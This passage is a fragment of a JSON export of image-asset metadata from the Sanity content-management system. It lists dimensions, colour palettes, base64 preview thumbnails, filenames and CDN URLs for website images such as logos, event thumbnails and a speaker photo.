ty.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#454979","foreground":"#fff","population":1.89,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041a6e","foreground":"#fff","population":0.1,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bbbace","foreground":"#000","population":10.61,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bbbace","foreground":"#000","population":10.61,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7c83c3","foreground":"#fff","population":0.77,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#737392","foreground":"#fff","population":4.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b13918","foreground":"#fff","population":0.25,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"idealo Honey Social Card 1.png","path":"images/sczeoy4w/production/a5bc636e2b1449a3314a5f4a2d8bb81d90d5baf5-1200x628.png","sha1hash":"a5bc636e2b1449a3314a5f4a2d8bb81d90d5baf5","size":282248,"uploadId":"X7Vpe0tbl6nlBU7xAMKgyd9P9B8lu4Oa","url":"https://cdn.sanity.io/images/sczeoy4w/production/a5bc636e2b1449a3314a5f4a2d8bb81d90d5baf5-1200x628.png"} {"_createdAt":"2024-02-05T13:12:47Z","_id":"image-a5e492a76cc4fea2a2b724a94295a79bc782bbe0-1920x1080-png","_rev":"MkmgsAGxwT6Nx7jjOhYDdb","_type":"sanity.imageAsset","_updatedAt":"2024-02-05T13:12:47Z","assetId":"a5e492a76cc4fea2a2b724a94295a79bc782bbe0","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M7T4j*UrK%wcVa}FxswHrEixvzvMrYt5ko","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":1080,"width":1920},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACi0lEQVQokUWRS1OTBxhGv9JLwEYRGWCipCQKEkEQykWkYJ1h0WV3VBFHLLUlMhRCUy4OYUggIAgYsEX9P930J3TRThfttrpFwzmdNIsunu15z/M+AaMh+bpBkjGZjslMXObikorJDzFJN2k6KumIpOtlOSKbCTkckKNhOeiRvXYpdMrzXgPunpaZhCwPSOYzydyQTJ9keiV7XTYGdK1LFqIye0bSZyUXk/1uKXwq2y2yFZOdZtltNWC8WuavSXZE8l9I7pZkhyQ7KOuDsjWs+dKRhKRqJHVKViOy3SpbF2WtTrL1shGRXJ0BY2GZbdPVzzU3Itmbkh0uA9f6ZbVLH7fKYpOkzspclazUS/6i5JskF5F8VDYbJVtrcHK7ynfJS75d6Le41C+LpXpXZaldlttkvlGTH8vUR/LowzIw0yBbpYptsn9VnnXKbkKeNBkUx8K+nr/u32tf+mZ5yJPpT2SqXqYbZKZeHlXLtx/Iw0CmKmQ+LGsXZOeKFLrkoFsOe6RwTZ62GBxPNPhHbtRfDxf8c+uOb1MJnb4gs1GZa5RURFK18n1YZirlx2pZb5K9jjJwNyH77fKsQ55eNjger/G3+Vv+snLH3xdHPE5G9WGNTJ2T6VpJn5dMXDJRWaqTlQbZbJZCaeUu2W6WnZay4UG3QXG00n8m4/6V7PD1d3GLE6dlvELuvScP3pe5c7JxWbbbJd8s63HZviKHveW6Jdhemzzvk6MbBiejIYsTdRa/Oe/JZJ3cP/U/cKJCZs7Ieovsl2zaJF8CdMrPA/JTX3mQ0g9fDMrLIYOTr0Jyu0rGquRuldyrlPsheRCSyZAkw/I4Kk/aZb1keEkKPfJyuJyjQXkxJK9u/pd/AdVcPCLaPkSHAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#50463e","foreground":"#fff","population":0.56,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b42c0c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":11.9,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#954703","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb953c","foreground":"#000","population":7.53,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a49c5c","foreground":"#000","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":11.9,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Event video thumbnail template with speaker long headline Orange.png","path":"images/sczeoy4w/production/a5e492a76cc4fea2a2b724a94295a79bc782bbe0-1920x1080.png","sha1hash":"a5e492a76cc4fea2a2b724a94295a79bc782bbe0","size":364313,"uploadId":"A8qPX20LV4SZRQCgm10jTS6E870xJaJE","url":"https://cdn.sanity.io/images/sczeoy4w/production/a5e492a76cc4fea2a2b724a94295a79bc782bbe0-1920x1080.png"} {"_createdAt":"2023-09-19T21:42:46Z","_id":"image-a5f2757375c7aaf470efa6b48e208504f492a91e-512x512-jpg","_rev":"OlHhyDbudqKag6cjyAIDji","_type":"sanity.imageAsset","_updatedAt":"2023-09-29T13:24:42Z","altText":"Nick Rycar","assetId":"a5f2757375c7aaf470efa6b48e208504f492a91e","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"e9Hw_TrOn4~TAUEJ}t^l0K012vWkE1?b=z9F0LS_w0oOr^kkxtxbr^","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAAMBAQAAAAAAAAAAAAAAAAUGBwME/8QAJhAAAQQCAQQABwAAAAAAAAAAAQACAwQFERIHFCExBhYjQVFhcf/EABcBAQEBAQAAAAAAAAAAAAAAAAQFAgP/xAAcEQEAAwEAAwEAAAAAAAAAAAABAAIRAwQhMTL/2gAMAwEAAhEDEQA/AO1DAxfK5td5ELjWcjBxGnD8KFxVJsF2G9Wk3O1pd5d6cf0vM345lbNYj4OinrfTNcMBBA9klWLB4mvYxUGVk2IpnEtJOgCpnYtQ0j7cqdEKshMnBkLVt0vZxuLh5PvZRWuSiJnF8V8Bp+20RXpZdycnxwfsqXV7B08dPau0hJDPN4kLXaDv6tKq0YZOlkLCCGx02yt0fTtIiq298zZg/TMfp5KyIiA/Q5FERFwiMJ//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4d362c","foreground":"#fff","population":3.76,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4c5216","foreground":"#fff","population":0.71,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#4d362c","foreground":"#fff","population":3.76,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cac2b1","foreground":"#000","population":0.84,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e994ac","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#929f5a","foreground":"#fff","population":2.26,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e06134","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"nick-rycar.jpg","path":"images/sczeoy4w/production/a5f2757375c7aaf470efa6b48e208504f492a91e-512x512.jpg","sha1hash":"a5f2757375c7aaf470efa6b48e208504f492a91e","size":37235,"title":null,"uploadId":"fFY30H3m5nRceewLMlJRMldiaYJC3nns","url":"https://cdn.sanity.io/images/sczeoy4w/production/a5f2757375c7aaf470efa6b48e208504f492a91e-512x512.jpg"} {"_createdAt":"2022-10-25T11:20:03Z","_id":"image-a655135aa148002d52ecedaf99181ec8bdb28acb-1600x849-png","_rev":"HOg1ic6qdNWBF4MCQEwuPB","_type":"sanity.imageAsset","_updatedAt":"2022-10-25T11:20:03Z","assetId":"a655135aa148002d52ecedaf99181ec8bdb28acb","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MNSiBTVsV@tls:l.b^aLa0oLhfsCoKXmjs","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8845700824499412,"height":849,"width":1600},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAABsklEQVQokW2Qv2sUQRTH95+0CJjiCrGwsbCzsBAUrSVgE+yCWqgrQs4jgghCFNEmhSBJjr3d2927nZmb2Tcz782Pk9nFoIkfphnmfea9982MMYoxvlr1Stn/AQBCCMYY55xxLjiH05/0+QN9O86MMb1SUgilFABorS/JWmsA6P8APRi2tlVhm2WSuRBN09R13batEAIAzAAiprkGpJSbASllr3prDFpMctd1RVHM5/OyLLuuuxhhlKWUl2QAICQiSrLgrFosiqJomkZKqbUeO6d3IsRU6Jwbr845733wPsnWGMlZXVV1XXPO/955LHXOhRDiFWiUeyG61SrFOGxrx3MhE4UQtv8SQyDELOU5hAlXciYiP8jeuTCMGr2PIWxjjGgdazOrtQWwStmNQNZh22BV4vwcz8/ceh2sHXbFhLVkrSdKX2yYP/mS4Y/v9PWYPn10s6nLX7vnB/7Zvt974p/u+aNZODsNy8otS6wWpixsVbhlGZoy/DrxsxeZf3g/3Lsb79yOt27GG5M42Y27O9uda3Fy3T9+4F69pMO37jCnaY7TN/g+p1lORzm9O3D7j34D/FdhXDEllq8AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4b4c4c","foreground":"#fff","population":0.07,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#800803","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fa534c","foreground":"#fff","population":5.56,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d1b0a6","foreground":"#000","population":0.14,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9535c","foreground":"#fff","population":0.18,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#808080","foreground":"#fff","population":0.67,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa534c","foreground":"#fff","population":5.56,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"a655135aa148002d52ecedaf99181ec8bdb28acb-1600x849.png","path":"images/sczeoy4w/production/a655135aa148002d52ecedaf99181ec8bdb28acb-1600x849.png","sha1hash":"a655135aa148002d52ecedaf99181ec8bdb28acb","size":175623,"uploadId":"br2FZoqXopF5weBl9gkfSYVRKnYMGIdx","url":"https://cdn.sanity.io/images/sczeoy4w/production/a655135aa148002d52ecedaf99181ec8bdb28acb-1600x849.png"} {"_createdAt":"2022-05-26T11:17:06Z","_id":"image-a65633f981e672a93c17c1cd30ec0fa33a125818-1000x244-png","_rev":"oe5xiZpxhRLq0Fmrv1Iaoe","_type":"sanity.imageAsset","_updatedAt":"2022-05-26T11:17:06Z","assetId":"a65633f981e672a93c17c1cd30ec0fa33a125818","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DC7d+CtDokokaxohoia$W8j^","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.098360655737705,"height":244,"width":1000},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA60lEQVQYlUXQu0qeYRAEYBEDivJ7KDwFxCKVYBUFAx5Q+R8TEE2hESHpFG00oFh4BbFQ0gVsgl6FhY3Y6ze1VyMvvmC1s7O7M8t0kGPyQF7ILVkjA2SYTL7h5gNNN+l9x02Lpqfdfurkuatg0uogdyTknlyT32SOLJBl8pnMVKzO5sk38oVM08ySJfK1CD6S/+SK3JBLsknW69F3sk9OyQk5qKbn5Ijs1Vq4wyL4l5zVhX/1qHxV3FeLK9kmO2SjGuySn+RX5X+QLbJSBMvyRc3vD1kkfWSQfCSjtY6RITJS+wkyRT6R8Zp5/ysaKaYaqx+UdAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#36376d","foreground":"#fff","population":0.54,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1a1772","foreground":"#fff","population":0.57,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#1a1772","foreground":"#fff","population":0.57,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#1e1682","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5449df","foreground":"#fff","population":0.28,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#545094","foreground":"#fff","population":0.28,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4a43ed","foreground":"#fff","population":0.52,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Catalyst-logo.png","path":"images/sczeoy4w/production/a65633f981e672a93c17c1cd30ec0fa33a125818-1000x244.png","sha1hash":"a65633f981e672a93c17c1cd30ec0fa33a125818","size":25114,"uploadId":"fhjhngkFIGeiO062ccKg7ZyFGJ7roJEC","url":"https://cdn.sanity.io/images/sczeoy4w/production/a65633f981e672a93c17c1cd30ec0fa33a125818-1000x244.png"} {"_createdAt":"2024-03-12T10:27:11Z","_id":"image-a65f46b19e9d0d518db5fe134519b5a6e70791a9-1200x1200-png","_rev":"YZDTfZCd9Sx4xq41jflTf5","_type":"sanity.imageAsset","_updatedAt":"2024-03-12T10:27:11Z","assetId":"a65f46b19e9d0d518db5fe134519b5a6e70791a9","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eH9?CN}xw6wQXp=E=F=I$fw[I7vx]#-4#P=h$lr?r]j_^S%3NLRpOa","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":1200,"width":1200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAC4jAAAuIwF4pT92AAAEJUlEQVQ4jZXPa2xTZRgH8P/bs+5W2/V2TtcVXDu2bmw7e96u62VdWbue07HhbrAbijAGmF0clwxYMlw2zLiEENFJQjR+MFFjIl5ilE9+EE00JkZN/GIiHzCQoG4qZoIQ0aympcStGx98kn/+OSd5fu/7Yincal4KdNUkfNtq/q7rMY7wkEYmyuXEjUSkIyItEWUvi4aI8CCrZql3Y8tSc/hoYlPL4TvB9vphT31xDVGAE1c5UQMR1RNRhIgaiaiOiAqXo6smscc+vtRd9Upic/il243x/tHaQFAm6udEA0S0nYh2EtHedLcRkTt967XBe6OPbPln1/r+pU5P7+9KQ+Bpn69U5ry2lvNaznk1vz8+zrmHc+7mnFuJSHgouLUMlWNydvGRCtN6VdSXOPQ6u9FstohWa4HFYtFJkpTvcDh0Tqczr6ysTCvLssbv9yMQCKwNAqwTYGGAbUr6AFoANALwA6gBUA2gAoADQG4ikUCBsQA5ebkPA9GVzg4GDDNgHwP2MIYnGMNWsNSB7QCC2WDGJLjLWZRavBj2Yj5Wt1LLt5ZVFBTXN+gKqxWWow8B8AEIpJsDkCHAqzFkVcOer5t51I4kuk+pwELMtxoMT/4ghyauNAYPfe1v7T3vmKooM035zcbZnVmmo7vXGet7JozuoRFX3WR71f6JmG2+LZjzi5dYIm9DCpvPBGMnb3c3nbrb2jb7a/Nzw69Fr7Y3N9w56Arde9fQ8O0HkdDY+Y/Dkec/7Rw4c3j3e3ubun9SvTU3o/78RIX8EHB2sSdy4s+OrulrO17ce2Ho+3b1qcUDxUN/vGka+uKd+PDY3EcHYme/mdo/PXX68uPR6XmldstCk9+UKK/GQqwOP2eCyslbldFTd0Idx280vTw4F732WES5ddCl3r1oiH/y9ra23ee+2hc7c3V8dHpu8LP+aNdvisdzUwnoEpzjx5gPi2oG6B78rqB87LrTc+RG4Ym+Wf2l+qDpw74a0+fnLKbZs8eKmmeu+MMz1xs7Ji+5Xm9rMr8f8OkveBuFRNiDv+JeTMrhlaDB84bH0Ho5ru/7UoZ3xgxjRIJlsx2GuISiHnuBZ9xlrpsoEYq3F8GsFMKqihDVHGZVkGtTAFFdCerLX3hSF3x1WBd/qz3Hc8wtWKOlWTZ1Y5ZNcQu2mBvW6AZYohuYFKsUJKVKkJRiQVLyISUxBZpkL58851RzdunRNq38TEhwj6xjoiIxSbUxKdWiprDFrLG3mJgUl5ioiExU9ExUBK2kQpO8nZgBah0jRib1WmDbZmD2rVomqQJERYCYag0klTFJZRCTUZKdQpiUxsQMUOc8DsG2C8w5CI1rAMzWDIgxYPlCCkl/P/iffvIqMN/1LLTOQxBKhsHWb7+/mFrKBFfC92+4xpMhdgLWB+n4L0jm/8+/ciAejOvjNNQAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#32536d","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#950911","foreground":"#fff","population":0.07,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f1b90c","foreground":"#000","population":0.41,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#024596","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4c9cfc","foreground":"#fff","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#68894f","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f1b90c","foreground":"#000","population":0.41,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Google Data Day (1).png","path":"images/sczeoy4w/production/a65f46b19e9d0d518db5fe134519b5a6e70791a9-1200x1200.png","sha1hash":"a65f46b19e9d0d518db5fe134519b5a6e70791a9","size":155702,"uploadId":"Vpei2BwjQLA2xWDJjnRSTtJ17jI88FP6","url":"https://cdn.sanity.io/images/sczeoy4w/production/a65f46b19e9d0d518db5fe134519b5a6e70791a9-1200x1200.png"} {"_createdAt":"2024-03-25T09:13:19Z","_id":"image-a66801b2485e0e774efb33799969b5200dd2a1a4-820x231-png","_rev":"Y34ePYFQ489qDVybEJPVMd","_type":"sanity.imageAsset","_updatedAt":"2024-03-25T09:13:19Z","assetId":"a66801b2485e0e774efb33799969b5200dd2a1a4","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D01{Z[ozaxt8WCV@ofaxt7ay","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.54978354978355,"height":231,"width":820},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAJnKAACZygHjkaQiAAABGklEQVQYlT2QyysFQBjFb9YsTmf62dpbi40NZals2EmxkEdCbh6hUCwQeaS8LhbX62YjUZbIwk7Jf3M1+lhMM/PNOaffmYJMr8ytzJfMh8yiTINMTaw6ub5DZlRmUGZCZkZmW6ZbprZYrRb+9PmwK/MkU5E5kxmXaZJplWmXaZYZkjmQ2VHiRGZNZlVmIHRZ0yLTWIjHO5krmUOZWZmizEXMsnFLpqxESYlbJfZ+w82czFKAbMp05sCMvy9TkrmXeZB5lvmUeZe5+Q9PnCpRCco8y9+TG34HVNtf5XIYH6N6JnuL+4bMuszxL1niPAiPZJbD/xIZXTlwJJBfZS5l+mR6ov61zJhMv8y0ElNKLCgxKTMfhCsRnPfhHx68WvVdfuxvAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#13141c","foreground":"#fff","population":11.19,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04080c","foreground":"#fff","population":1.2,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#13141c","foreground":"#fff","population":11.19,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#264c72","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9bbcdd","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#264c72","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3f7fbf","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"sellix.png","path":"images/sczeoy4w/production/a66801b2485e0e774efb33799969b5200dd2a1a4-820x231.png","sha1hash":"a66801b2485e0e774efb33799969b5200dd2a1a4","size":16500,"uploadId":"hxn3IzmGw23xhDnf0hcZroLCwTH6g8nP","url":"https://cdn.sanity.io/images/sczeoy4w/production/a66801b2485e0e774efb33799969b5200dd2a1a4-820x231.png"} {"_createdAt":"2023-09-06T15:27:46Z","_id":"image-a66f050fa5769ddd08b772ba6f388bc5d7252b32-300x450-png","_rev":"7lO65z9OheRFnytB4Yiig0","_type":"sanity.imageAsset","_updatedAt":"2023-09-06T15:27:46Z","assetId":"a66f050fa5769ddd08b772ba6f388bc5d7252b32","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"d3AAgzM$00M]vwjxO_NEx{t8RMR$I?WA~VoOnuRhRu%O","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.6666666666666666,"height":450,"width":300},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#342c4c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8e7e14","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5c77df","foreground":"#fff","population":0.03,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4b48c","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5c77df","foreground":"#fff","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b09058","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5c9cec","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"badge-gcp-partner-of-the-year.png","path":"images/sczeoy4w/production/a66f050fa5769ddd08b772ba6f388bc5d7252b32-300x450.png","sha1hash":"a66f050fa5769ddd08b772ba6f388bc5d7252b32","size":42465,"uploadId":"duWMVBw1CGVJzwpbIvtObOKqWSFzvZNL","url":"https://cdn.sanity.io/images/sczeoy4w/production/a66f050fa5769ddd08b772ba6f388bc5d7252b32-300x450.png"} {"_createdAt":"2022-09-07T06:38:57Z","_id":"image-a681e5da946d265101b72ef176080d4e3ff84575-2000x1333-jpg","_rev":"CK1sLU2mnwa3vmbYWEeW4c","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:31:48Z","assetId":"a681e5da946d265101b72ef176080d4e3ff84575","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VGJ86DE0JDMxpJcXx]v|nhRO~q-:4oInM_58tS?GIVxu","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5003750937734435,"height":1333,"width":2000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAUBAgMG/8QAJBAAAgEEAgEEAwAAAAAAAAAAAQIDAAQFEQYhEgcTFUExcaH/xAAUAQEAAAAAAAAAAAAAAAAAAAAE/8QAGhEBAAMBAQEAAAAAAA